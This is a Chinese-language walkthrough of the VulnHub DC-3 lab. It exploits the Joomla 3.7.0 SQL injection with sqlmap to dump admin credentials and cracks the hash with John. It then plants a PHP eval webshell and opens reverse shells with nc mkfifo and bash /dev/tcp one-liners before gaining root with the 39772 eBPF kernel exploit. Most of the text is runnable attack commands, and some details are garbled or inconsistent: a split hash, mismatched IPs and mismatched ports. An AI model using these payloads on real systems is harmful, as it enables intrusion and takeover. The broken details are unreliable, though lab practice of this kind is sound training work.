综合靶场DC-3实验步骤
1. 环境搭建
DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@彦鱼 上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。 | |
目标:最终权限Root和最后的Flag |
2. 下载靶场环境
靶场下载地址: https://download.vulnhub.com/dc/DC-3-2.zip
2. 渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:192.168.145.132/24
安装DC3靶场,无法正常启动虚拟机,需要进行环境配置,即在CD/DVD的高级设置中将IDE选项的设置为0:0
这一关和第二关DC-2网络模式一样,把kali和DC-3的网络全部设置成NAT模式
查看DC-3靶机MAC地址是多少,然后进入虚拟机终端输入arp-scan -l 得到了MAC相应的IP地址,从而知道了靶机IP为192.168.145.132
下面进行信息收集
nmap -A -p- -v 192.168.145.132
-A 综合性扫描
-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息
发现只开放了80端口,那么访问一下这个Web页面(自己IP)
大致意思就是,DC-3关卡的目标是获得最终的flag权限
我们根据上面nmap的扫描结果可以发现其CMS为joomla,采用joomla扫描器joomscan进行扫描
joomscan -u http://192.168.220.133
查找相关漏洞
所得之joomla cms的版本为3.7.0,并且发现登录页面http://192.168.145.132/administrator/
我们扫出了后台管理登录界面,进入查看需要账户和密码,再次进行弱口令爆破,依旧不行
searchsploit joomla 3.7.0
查找joomla 3.7.0存在的漏洞,我们发现有一个SQL注入,还存在一个XSS
查看漏洞利用文章
searchsploit -p 42033.txt
查看漏洞文件发现注入的方法
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
发现确实为sql注入漏洞并且searchsploit也将如何注入告诉了我们,直接使用sqlmap工具就可以(中间提示Y/n,继续选择y)
sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
可以看到有一个名为joomladb的数据库,我们尝试去获取这里面的信息
sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables -p list[fullordering]
查看一下表内容,简直是那个users太明显了,我们肯定会关注#__users这个表
下面接着获取joomladb的users表的字段名
sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]
一个代码直接跑出来6个字段,值啊!!!
下面接着获取目标字段username和password
sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “name,password,username” --dump -p list[fullordering]
账户:admin
密码:$2y
10
10
10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
最终我们将账户与密码爆出,但密码进行了哈希加密,我们使用kali自带解密工具john进行解密,echo创建一个1.txt,把加密的密码字段写入,然后打开查看一下
随后使用john进行爆破哈希密码
john --show 1.txt
利用获取到的账号密码进行登录web页面
http://192.168.145.132/administrator
密码:snoopy
用户名:admin
成功登入,并发现了Welcome to DC-3文件,咱们进去看一眼
Welcome to DC-3.
This time, there is only one flag, one entry point and no clues.
To get the flag, you’ll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. 😃
欢迎来到DC-3。
这一次,只有一面旗帜,一个入口,没有线索。
要获得该标志,显然必须获得根权限。
如何成为根取决于你自己,当然也取决于系统。
祝你好运——我希望你喜欢这个小挑战
大概提示就是这个意思,告诉我们这次DC-3实战只有一个目标获得root权限
我们溜达溜达半天,才找到了一个能上传文件的地方,可累死我了
点击beez3
点击newfiles,这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
那么问题来了,创建好之后我们写什么呢?这是个好问题!!
我们有好多种办法可以执行,看你喜欢哪一个了,不是吗?
第一种:
在html下创建一个php文件,名字叫做shell,创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php echo ("密码是a"); @eval($_REQUEST [a]); ?>
再次访问http://192.168.145.132/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
下面我们打开“中国蚁剑”管理webshell,右键添加数据
反弹shell到kali,蚁剑看到的终端不如kali清晰,反弹一个shell到kali
我们进行kali监听
nc -lvp 3333
使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.145.132 3333 >/tmp/f
连接之后,成功反弹shell
第二种:
我们回到网页上传页面,创建了一个反弹shell2的php文件,并写入
<?php system ("bash -c 'bash -i >& /dev/tcp/192.168.10.137/4444 0>&1'"); ?>
开启攻击机的监听口,准备接收shell
nc -lvp 3333
访问反弹shell的网页,使php命令执行
http://192.168.145.132/templates/beez3/shell2.php
也是成功反弹shell
第三种:
如果上面都不行,我们直接来个暴力的!!!
cat /usr/share/webshells/php/php-reverse-shell.php
打开kali的php源码
全部复制下来,然后返回web页面,创建一个随意名称的文件
随后把刚才复制的代码粘贴到上面,然后来到第49行,把IP改成自己的IP,端口号改成监听的端口号(我的端口是3333所以我改成了3333)
然后点击左上角绿色的Save保存一下,随后返回kali监听3333端口
然后用浏览器打开刚才创建的文件
192.168.145.132/templates/beez3/html/nihao.php
如果没显示就多刷新几下
一样暴力的把shell反弹过来了,是不是很简单?
下面我们接上创建交互式shell
经常用shell的都知道这个shell不好用,我们建立一个交互式shell
常用的就是python创建交互式shell,如果没在bezz3/html目录下我们就要先cd切换到html目录下进行创建交互
cd /var/www/html/templates/beez3/html
然后进行创建交互
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
*我们先查看一下发行版的信息
cat /etc/release
可以确定Ubuntu的版本为16.04
接着我们在打开一个终端,查看kali本地漏洞库里面的exp
searchsploit Ubuntu 16.04
对应了好几版本都试过了,发现只有39772.txt可以用,我们查看exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
直接用kali的火狐下载就可以
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载好之后我们打开文件夹
然后把他拖到桌面
用kali终端开启apache服务
systemctl start apache2.service
然后移动39772.zip到指定的apache的目录下(html)
mv 39772.zip /var/www/html
回到前面的DC-3的shell中下载刚刚上传的exp
wget http://192.168.145.131/39772.zip
解压一下exp,解压之后直接进入39772文件夹
unzip 39772.zip (解压)
cd 39772 (进入) 进去之后看到exploit.tar 我们把他做掉
tar -xvf exploit.tar (解压缩)
我们进入ebpf_mapfd_doubleput_exploit运行exp
cd ebpf_mapfd_doubleput_exploit
然后
./compile.sh 执行程序
./doubleput
执行程序doubleput
最终权限Root(Flag)
.
我们直接完美的得到了root权限,然后我们切换到root的权限
cd /root
ls查看一下,发现了最终的flag
我们打开这个追寻已久的flag
当你看到这里的时候 你已经做完了!!!!!!!!!!!!
3. 经验总结
arpscan主机扫描
cms漏洞扫描
sql注入漏洞sqlmap配合payload
John爆破密码
反弹shell
Root提权